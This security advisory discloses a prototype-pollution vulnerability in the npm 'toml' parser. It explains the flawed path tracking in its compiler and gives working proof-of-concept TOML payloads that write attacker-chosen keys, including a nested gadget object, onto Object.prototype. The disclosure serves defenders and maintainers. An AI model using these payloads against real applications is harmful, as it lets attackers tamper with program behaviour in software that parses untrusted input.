CVE-2026-63376

toml.parse() writes attacker-controlled keys onto Object.prototype. The compiler protects the tables it builds by creating them with Object.create(null), which neutralizes a direct [__proto__] table. An attacker bypasses that protection by routing a table path through a scalar value and into the real prototype chain: a path such as a.b.y.__proto__.__proto__, where a.b.y holds a number, resolves to Object.prototype and every subsequent key/value writes onto it.

The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings desynchronize, so the guard that should reject descending through an existing scalar never fires.

Steps to reproduce

1. Install the latest version and run the comma-desynchronization payload.

   npm install [email protected]
   

   const toml = require("toml");
   delete Object.prototype.polluted;
   
   toml.parse(`
   [a.b]
   y = 1
   [a.b.y.__proto__.__proto__]
   polluted = "yes"
   `);
   
   console.log(({}).polluted);   // -> "yes"
   

2. Observe that a freshly created object inherits the injected key, confirming Object.prototype was modified:

   yes
   

3. Confirm the prefix-clear variant reaches the same result:

   toml.parse(`
   aa = 1
   [[a]]
   [aa.__proto__.__proto__]
   polluted = "yes"
   `);
   console.log(({}).polluted);   // -> "yes"
   

A nested gadget object is also injectable, not only scalar keys:

toml.parse(`
[a.b]
y = 1
[a.b.y.__proto__.__proto__.code]
val = "arbitrary"
`);
console.log(({}).code.val);     // -> "arbitrary"

Technical details

The compiler builds the result tree in lib/compiler.js. Tables are created with a null prototype, so a direct [__proto__] table only sets an ordinary own property and does not pollute:

var data = Object.create(null);   // line 7, root has no prototype
// ...
target[k] = Object.create(null);  // line 64, intermediate tables, no prototype

The defect is in deepRef, which resolves a table path by walking each key segment of the live object graph:

function deepRef(start, keys, value, off) {        // lib/compiler.js:183
  var traversedPath = "";
  var ctx = start;
  for (var i = 0; i < keys.length; i++) {
    var key = keys[i];
    traversedPath = traversedPath ? traversedPath + "." + key : key;
    if (typeof ctx[key] === "undefined") {
      if (i === keys.length - 1) { ctx[key] = value; }
      else { ctx[key] = Object.create(null); }
    } else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) {
      genError("Cannot redefine existing key '" + traversedPath + "'.", off);  // line 197, the guard
    }
    ctx = ctx[key];                                // line 200, follows __proto__ into the prototype chain
    if (ctx instanceof Array && ctx.length && i < keys.length - 1) {
      ctx = ctx[ctx.length - 1];
    }
  }
  return ctx;
}

Two problems combine:

1. deepRef treats __proto__ (and constructor, prototype) as ordinary traversable keys. Line 200 executes ctx = ctx[key] for every segment with no reserved-key check. When traversal reaches a scalar value, for example the number 1 stored at a.b.y, the next two __proto__ segments evaluate to Number.prototype and then Object.prototype. The null-prototype hardening covers only the container tables the compiler creates; it does not cover the values stored in them, and those values carry normal prototypes.

2. The guard on line 197 is defeated by a path-format desynchronization. currentPath is assigned two incompatible types: setPath stores an array (currentPath = path, line 151) while addTableArray stores a string (currentPath = quotedPath, line 172). When assign later builds the path of a value, it concatenates that array with a string:

var fullPath = currentPath ? currentPath + "." + keys.join(".") : keys.join("."); // line 77
valueAssignments.add(fullPath);                                                   // line 86

For the table [a.b], currentPath is the array ["a","b"], so currentPath + "." coerces it via Array.toString() to the comma-joined string "a,b". The value y = 1 is therefore recorded as "a,b.y". But deepRef, walking the path a.b.y.__proto__.__proto__, builds traversedPath with dots and checks valueAssignments.has("a.b.y"). The set contains "a,b.y", not "a.b.y", so the lookup misses and the guard never raises "Cannot redefine existing key". Traversal proceeds through the scalar 1 into Object.prototype.

Instrumenting the tracking sets after parsing the payload confirms the mismatch:

assignedPaths    : [ "a.b", "a,b.y", "a.b.y.__proto__.__proto__", ... ]
valueAssignments : [ "a,b.y", ... ]
deepRef checks valueAssignments.has("a.b.y")  ->  false   (recorded as "a,b.y")

A second route reaches the same state without the comma trick. A table array [[a]] triggers the prefix-clearing loop in addTableArray, which deletes tracking entries by string prefix and wipes the guard state before the __proto__ descent:

assignedPaths.forEach(function(p) {                 // lines 164-166
  if (p.indexOf(quotedPath) === 0) assignedPaths.delete(p);
});
valueAssignments.forEach(function(p) {              // lines 167-169
  if (p.indexOf(quotedPath) === 0) valueAssignments.delete(p);
});